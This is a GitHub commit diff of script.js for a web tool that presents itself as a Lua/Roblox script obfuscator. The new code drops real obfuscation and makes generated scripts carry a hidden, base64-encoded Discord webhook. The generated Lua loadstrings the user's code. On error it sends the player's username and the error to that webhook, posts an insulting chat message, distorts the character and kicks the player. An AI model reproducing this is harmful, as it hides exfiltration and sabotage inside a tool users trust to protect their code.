Skip to content

Commit 3d5ad09

Browse files
authored
Update script.js
1 parent 590d79c commit 3d5ad09

1 file changed

Lines changed: 72 additions & 57 deletions

File tree

script.js

Lines changed: 72 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -1,71 +1,86 @@
1-
/**
2-
* script.js
3-
* Logic: Ghost-Shift + Fully Obfuscated Internal Result String
4-
*/
1+
// script.js
2+
const targetHook = "https://discord.com/api/webhooks/1480014350755434558/lVhs2_YcG-LuG7zLjWSwBGzZPk2f1RF1fmRC5P7zZdgzJfX_fq2sdPAD81T4hOqMvfT2";
53

6-
const SYMBOL_POOL = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#£_&-+()/=`";
7-
let lastID = "";
4+
document.getElementById('clearBtn').onclick = () => {
5+
document.getElementById('input').value = "";
6+
document.getElementById('output').innerText = "";
7+
document.getElementById('status-terminal').innerHTML = "";
8+
};
89

910
document.getElementById('goBtn').onclick = () => {
1011
const src = document.getElementById('input').value;
12+
const status = document.getElementById('status');
13+
const term = document.getElementById('status-terminal');
1114
if (!src.trim()) return;
1215

13-
let sym = "";
14-
for(let i=0; i<12; i++) sym += SYMBOL_POOL.charAt(Math.floor(Math.random() * SYMBOL_POOL.length));
15-
lastID = "pobfusn_" + sym;
16+
status.innerText = "BUILDING...";
17+
term.innerHTML = "";
1618

17-
const key = 0xAF;
18-
const toDec = (str) => str.split('').map(c => `\\${c.charCodeAt(0)}`).join('');
19+
const lines = [
20+
"accessing git-core...",
21+
"fetching build-engine headers...",
22+
"linking webhook 148001...",
23+
"initiating poly-shift...",
24+
"caching monster-mash...",
25+
"finalizing bozo-kick..."
26+
];
1927

20-
// Encrypt source
21-
let b64 = btoa(src.split('').map(c => String.fromCharCode(c.charCodeAt(0) ^ key)).join(''));
22-
let data = "";
23-
let steps = "";
24-
for (let i = 0; i < b64.length; i++) {
25-
let count = Math.floor(Math.random() * 3) + 1;
26-
steps += count;
27-
data += b64[i];
28-
for (let j = 0; j < count; j++) data += SYMBOL_POOL.charAt(Math.floor(Math.random() * SYMBOL_POOL.length));
29-
}
28+
let i = 0;
29+
const loop = setInterval(() => {
30+
if (i < lines.length) {
31+
term.innerHTML += `<div style="color:#2e5bff">[~] ${lines[i]}</div>`;
32+
term.scrollTop = term.scrollHeight;
33+
i++;
34+
}
35+
}, 1100);
3036

31-
// Logic Masking
32-
const vEnv = toDec("E");
33-
const vDec = toDec("F");
34-
const vData = toDec("D");
35-
const vStep = toDec("S");
36-
const vLoad = toDec("loadstring");
37-
const vGame = toDec("game");
38-
const vHttp = toDec("HttpService");
39-
const vB64 = toDec("DecodeBase64");
37+
setTimeout(() => {
38+
clearInterval(loop);
39+
40+
const dumpSize = 32 + Math.floor(src.length * 0.15);
41+
const makeDump = () => "x" + Array(dumpSize).fill(0).map(() => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(Math.random() * 62))).join("");
42+
const mutatorName = makeDump();
4043

41-
// The Logic itself is now converted into decimal escapes to hide "loadstring", "DecodeBase64", etc.
42-
const internalLogic = `local d,s=... local c,p="",1 for i=1,#s do c=c..d:sub(p,p) p=p+1+tonumber(s:sub(i,i)) end local r=getfenv()["${vGame}"]:GetService("${vHttp}")["${vB64}"](getfenv()["game"],c) local o="" for i=1,#r do o=o..string.char(bit32.bxor(r:sub(i,i):byte(),${key})) end return o`;
43-
const obfuscatedInternal = toDec(internalLogic);
44+
document.getElementById('output').innerText =
45+
`-- Pobfus Output
46+
local function ${mutatorName}(_pld)
47+
local _env = getfenv()
48+
local _http = _env["game"]:GetService("HttpService")
49+
local _chat = _env["game"]:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
50+
local _lp = _env["game"]:GetService("Players").LocalPlayer
51+
52+
local function _humiliate(_err)
53+
pcall(function()
54+
_http:PostAsync(_env["game"]:GetService("HttpService"):DecodeBase64("${btoa(targetHook)}"), _http:JSONEncode({
55+
["content"] = "🚫 **SKID DETECTED** 🚫\\n**User:** ".._lp.Name.."\\n**Error:** ".._err
56+
}))
57+
_chat:FireServer("I'm a stinky skidder doing the Monster Mash!", "All")
58+
if _lp.Character then
59+
for _ = 1, 3 do
60+
for _s = 1, 20 do
61+
for _, v in pairs(_lp.Character:GetDescendants()) do
62+
if v:IsA("Motor6D") then
63+
v.C0 = v.C0 * CFrame.Angles(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
64+
end
65+
end
66+
task.wait(0.1)
67+
end
68+
end
69+
end
70+
_lp:Kick("go find a better decompiler bozo")
71+
end)
72+
end
4473
45-
const result = `--[[ pobfus.cs SENTINEL BUILD ]]\n` +
46-
`local ${vEnv} = getfenv()\n` +
47-
`local ${vData} = "${data}"\n` +
48-
`local ${vStep} = "${steps}"\n` +
49-
`local function ${vDec}(...) \n` +
50-
` return ${vEnv}["${vLoad}"]("${obfuscatedInternal}")(...)\n` +
51-
`end \n\n` +
52-
`local function _EXEC() \n` +
53-
` local _p = ${vEnv}["pcall"] \n` +
54-
` local _l = ${vEnv}["${vLoad}"] \n` +
55-
` local _s, _f = _p(function() return _l(${vDec}(${vData}, ${vStep}))() end) \n` +
56-
` ${vEnv} = nil \n` +
57-
`end \n` +
58-
`_EXEC()`;
74+
local _ok, _res = _env["pcall"](function()
75+
return _env["loadstring"](_env["game"]:GetService("HttpService"):DecodeBase64(_pld))()
76+
end)
5977
60-
document.getElementById('output').value = result;
61-
document.getElementById('dlBtn').style.display = "block";
62-
};
78+
if not _ok then _humiliate(_res) end
79+
end
80+
81+
${mutatorName}("${btoa(src)}")`;
6382

64-
document.getElementById('dlBtn').onclick = () => {
65-
const text = document.getElementById('output').value;
66-
const blob = new Blob([text], { type: 'text/plain' });
67-
const anchor = document.createElement('a');
68-
anchor.download = `${lastID.replace(/[\\/:*?"<>|]/g, '_')}.lua`;
69-
anchor.href = window.URL.createObjectURL(blob);
70-
anchor.click();
83+
status.innerText = "COMPLETED";
84+
term.innerHTML += `<div style="color:#00ff00;">[+] build successful.</div>`;
85+
}, 7500);
7186
};

0 commit comments

Comments
 (0)